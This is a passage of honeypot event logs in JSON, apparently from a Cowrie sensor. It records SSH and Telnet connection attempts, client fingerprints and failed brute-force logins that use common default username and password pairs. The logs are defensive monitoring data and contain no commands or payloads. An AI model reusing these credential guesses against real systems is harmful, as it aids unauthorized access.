0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:04:35.062317Z","src_ip":"45.153.34.112","session":"72a10f765fd9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwerty123","message":"login attempt [root/qwerty123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:04:35.311294Z","src_ip":"45.153.34.112","session":"72a10f765fd9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:04:36.397429Z","src_ip":"45.153.34.112","session":"72a10f765fd9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":50292,"dst_ip":"10.17.0.5","dst_port":23,"session":"5b13f845c9de","protocol":"telnet","message":"New connection: 192.119.13.58:50292 (10.17.0.5:23) [session: 5b13f845c9de]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:04:37.531966Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":43174,"dst_ip":"10.17.0.5","dst_port":22,"session":"a7f22351b3df","protocol":"ssh","message":"New connection: 45.153.34.112:43174 (10.17.0.5:22) [session: a7f22351b3df]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:04:38.545141Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:04:38.550370Z","src_ip":"45.153.34.112","session":"a7f22351b3df","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:04:38.633518Z","src_ip":"45.153.34.112","session":"a7f22351b3df","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"1","message":"login attempt [ubuntu/1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:04:38.884921Z","src_ip":"45.153.34.112","session":"a7f22351b3df","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:04:39.970635Z","src_ip":"45.153.34.112","session":"a7f22351b3df","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":54154,"dst_ip":"10.17.0.5","dst_port":22,"session":"e32c9b874c34","protocol":"ssh","message":"New connection: 45.153.34.112:54154 (10.17.0.5:22) [session: e32c9b874c34]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:04:42.022096Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:04:42.027401Z","src_ip":"45.153.34.112","session":"e32c9b874c34","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:04:42.114727Z","src_ip":"45.153.34.112","session":"e32c9b874c34","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"apollo","password":"apollo","message":"login attempt [apollo/apollo] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:04:42.361770Z","src_ip":"45.153.34.112","session":"e32c9b874c34","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":40234,"dst_ip":"10.17.0.5","dst_port":23,"session":"7e310b15c928","protocol":"telnet","message":"New connection: 192.119.13.58:40234 (10.17.0.5:23) [session: 7e310b15c928]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:04:42.871641Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:04:43.446369Z","src_ip":"45.153.34.112","session":"e32c9b874c34","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":54158,"dst_ip":"10.17.0.5","dst_port":22,"session":"11446ce8e1e1","protocol":"ssh","message":"New connection: 45.153.34.112:54158 (10.17.0.5:22) [session: 11446ce8e1e1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:04:45.682290Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:04:45.686875Z","src_ip":"45.153.34.112","session":"11446ce8e1e1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:04:45.769398Z","src_ip":"45.153.34.112","session":"11446ce8e1e1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"postgres","password":"password","message":"login attempt [postgres/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:04:46.018827Z","src_ip":"45.153.34.112","session":"11446ce8e1e1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":50944,"dst_ip":"10.17.0.5","dst_port":23,"session":"a1994bd84e7b","protocol":"telnet","message":"New connection: 192.119.13.58:50944 (10.17.0.5:23) [session: a1994bd84e7b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:04:46.332213Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:04:47.104960Z","src_ip":"45.153.34.112","session":"11446ce8e1e1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":46.14450478553772,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:04:47.439439Z","src_ip":"192.119.13.58","session":"103f1713a849","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":58372,"dst_ip":"10.17.0.5","dst_port":23,"session":"e90135fb02a0","protocol":"telnet","message":"New connection: 192.119.13.58:58372 (10.17.0.5:23) [session: e90135fb02a0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:04:48.479681Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":54164,"dst_ip":"10.17.0.5","dst_port":22,"session":"ff0a6c70fa2f","protocol":"ssh","message":"New connection: 45.153.34.112:54164 (10.17.0.5:22) [session: ff0a6c70fa2f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:04:49.073646Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:04:49.078800Z","src_ip":"45.153.34.112","session":"ff0a6c70fa2f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:04:49.161776Z","src_ip":"45.153.34.112","session":"ff0a6c70fa2f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"nextcloud","password":"nextcloud","message":"login attempt [nextcloud/nextcloud] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:04:49.555738Z","src_ip":"45.153.34.112","session":"ff0a6c70fa2f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:04:50.752672Z","src_ip":"45.153.34.112","session":"ff0a6c70fa2f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":51082,"dst_ip":"10.17.0.5","dst_port":22,"session":"4b6d7597ee26","protocol":"ssh","message":"New connection: 45.153.34.112:51082 (10.17.0.5:22) [session: 4b6d7597ee26]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:04:52.686950Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:04:52.692025Z","src_ip":"45.153.34.112","session":"4b6d7597ee26","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:04:52.841362Z","src_ip":"45.153.34.112","session":"4b6d7597ee26","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":50892,"dst_ip":"10.17.0.5","dst_port":23,"session":"cc86125c9930","protocol":"telnet","message":"New connection: 192.119.13.58:50892 (10.17.0.5:23) [session: cc86125c9930]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:04:52.904728Z"}
{"eventid":"cowrie.login.failed","username":"username","password":"username","message":"login attempt [username/username] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:04:53.089573Z","src_ip":"45.153.34.112","session":"4b6d7597ee26","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":40.78485608100891,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:04:54.097797Z","src_ip":"192.119.13.58","session":"e48dca7c89f3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:04:54.175110Z","src_ip":"45.153.34.112","session":"4b6d7597ee26","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"109.172.54.111","src_port":40492,"dst_ip":"10.17.0.5","dst_port":22,"session":"ac50fc6ba373","protocol":"ssh","message":"New connection: 109.172.54.111:40492 (10.17.0.5:22) [session: ac50fc6ba373]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:04:55.318176Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:04:55.323881Z","src_ip":"109.172.54.111","session":"ac50fc6ba373","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:04:55.556365Z","src_ip":"109.172.54.111","session":"ac50fc6ba373","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":51096,"dst_ip":"10.17.0.5","dst_port":22,"session":"0bbc569824e9","protocol":"ssh","message":"New connection: 45.153.34.112:51096 (10.17.0.5:22) [session: 0bbc569824e9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:04:56.131385Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:04:56.137360Z","src_ip":"45.153.34.112","session":"0bbc569824e9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:04:56.223904Z","src_ip":"45.153.34.112","session":"0bbc569824e9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"sss888wryx","message":"login attempt [root/sss888wryx] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:04:56.251259Z","src_ip":"109.172.54.111","session":"ac50fc6ba373","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"alexis","password":"alexis","message":"login attempt [alexis/alexis] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:04:56.471119Z","src_ip":"45.153.34.112","session":"0bbc569824e9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:04:57.372788Z","src_ip":"109.172.54.111","session":"ac50fc6ba373","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:04:57.712992Z","src_ip":"45.153.34.112","session":"0bbc569824e9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":34764,"dst_ip":"10.17.0.5","dst_port":22,"session":"987de1bc3da9","protocol":"ssh","message":"New connection: 45.153.34.112:34764 (10.17.0.5:22) [session: 987de1bc3da9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:04:59.657008Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:04:59.661814Z","src_ip":"45.153.34.112","session":"987de1bc3da9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com",